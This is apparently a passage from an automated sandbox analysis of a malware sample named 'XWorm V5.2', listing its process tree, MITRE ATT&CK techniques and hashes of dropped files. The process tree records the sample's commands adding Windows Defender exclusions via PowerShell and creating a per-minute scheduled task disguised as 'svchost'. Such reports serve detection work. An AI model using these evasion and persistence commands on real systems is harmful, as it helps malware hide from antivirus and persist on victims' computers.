PID:1512 -
C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"C:\Users\Admin\AppData\Local\Temp\XWorm V5.2.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:5096 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5096 -s 10169⤵PID:364
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:316
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2240
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4364
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'8⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:3884
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"8⤵
- Scheduled Task/Job: Scheduled Task
PID:2032
-
-
-
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3568
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:4348
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2432
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4564
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:2532
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4420
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:1396
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵PID:960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵PID:4940
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:3124 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 564 -p 5096 -ip 50962⤵PID:4836
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
-
Filesize
42B
MD584cfdb4b995b1dbf543b26b86c863adc
SHA1d2f47764908bf30036cf8248b9ff5541e2711fa2
SHA256d8988d672d6915b46946b28c06ad8066c50041f6152a91d37ffa5cf129cc146b
SHA512485f0ed45e13f00a93762cbf15b4b8f996553baa021152fae5aba051e3736bcd3ca8f4328f0e6d9e3e1f910c96c4a9ae055331123ee08e3c2ce3a99ac2e177ce
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
-
Filesize
1KB
MD5bceed48e720d53a41dfa3c7c73f23f0f
SHA1d06284e9e184a924efb235e8abc8ec19348b8c2d
SHA2562a94a7e6d5247e4f03a36f6c9cd1e24c394bdbcdf46b9a866ad7823d0483d019
SHA512402a0006b17a603c3a8c6ebc566579d1fe1a27e5d834ebe3cb1420d09d829ef261de2b4e62b6fce3624e93fe42dbfa21d4bb7063469c480ae4d9c5568d5df31f
-
Filesize
944B
MD577d622bb1a5b250869a3238b9bc1402b
SHA1d47f4003c2554b9dfc4c16f22460b331886b191b
SHA256f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
SHA512d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
-
Filesize
944B
MD596e3b86880fedd5afc001d108732a3e5
SHA18fc17b39d744a9590a6d5897012da5e6757439a3
SHA256c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294
SHA512909b1968f7204fa7029109b02232d8cc5438f6b4dc7c9044e4e47c59fcee538199b13029e36592b12ed573d48a308dd4822d2ced4129ab08d4111897e02be55d
-
Filesize
944B
MD53db1c0d23daacf01eb99125ccc2787d3
SHA10849528de1ba411279231d635d8f39d54cc829d2
SHA256bceb96f5c3d31447980eb8cd891bba75b3e5b6eb60abf4d829fc13cd8faf2582
SHA5123d84635a3395bca1d91ce182ccfb9e38c8da87ad678704673a72d580e4251cedc5a6b2a89040a172a5687b67952e74a13673bd115bce7bdabaed06f89323de5b
-
Filesize
944B
MD52979eabc783eaca50de7be23dd4eafcf
SHA1d709ce5f3a06b7958a67e20870bfd95b83cad2ea
SHA256006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903
SHA51292bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba
-
Filesize
112KB
MD52f1a50031dcf5c87d92e8b2491fdcea6
SHA171e2aaa2d1bb7dbe32a00e1d01d744830ecce08f
SHA25647578a37901c82f66e4dba47acd5c3cab6d09c9911d16f5ad0413275342147ed
SHA5121c66dbe1320c1a84023bdf77686a2a7ab79a3e86ba5a4ea2cda9a37f8a916137d5cfec30b28ceae181355f6f279270465ef63ae90b7e8dcd4c1a8198a7fd36a8
-
Filesize
12.3MB
MD51a270a2d79f958a83af1ab2b5805e43c
SHA1aeb2f51a0d1377a25fdcd614fc96fe6b3afbbeeb
SHA2565a0ee0516cf26c772261c81a9cbc45fa625268576debb7d8b38609687554544c
SHA51200bec3f89f9f27236adf0167d6382b60a2be56bdb6b00aae0117396e30e77a993b97d2b7f2af3ae96b81bce0b55bf177d4c4d0c272df05d72c2dc55577b14191
-
Filesize
12.2MB
MD58b7b015c1ea809f5c6ade7269bdc5610
SHA1c67d5d83ca18731d17f79529cfdb3d3dcad36b96
SHA2567fc9c7002b65bc1b33f72e019ed1e82008cc7b8e5b8eaf73fc41a3e6a246980e
SHA512e652913f73326f9d8461ac2a631e1e413719df28c7938b38949c005fda501d9e159554c3e17a0d5826d279bb81efdef394f7fb6ff7289cf296c19e92fd924180
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
124B
MD501ab4014ff9173b34107937c8bbd34fd
SHA172d0f80f0b52cafac865ae3537b94071afc09b9e
SHA256a9357bb43016080e42f219a84ccc411e8b4b236f136f8cd90ee1f25db6275ef6
SHA512a6407427f144f93675fce74ee77fe42e9490252ec7fb50fcba7c95f8d4734de4173dde96460d9ce0ee286fc62546c191b5ffc33e375540ee3ab77173c99c5ca3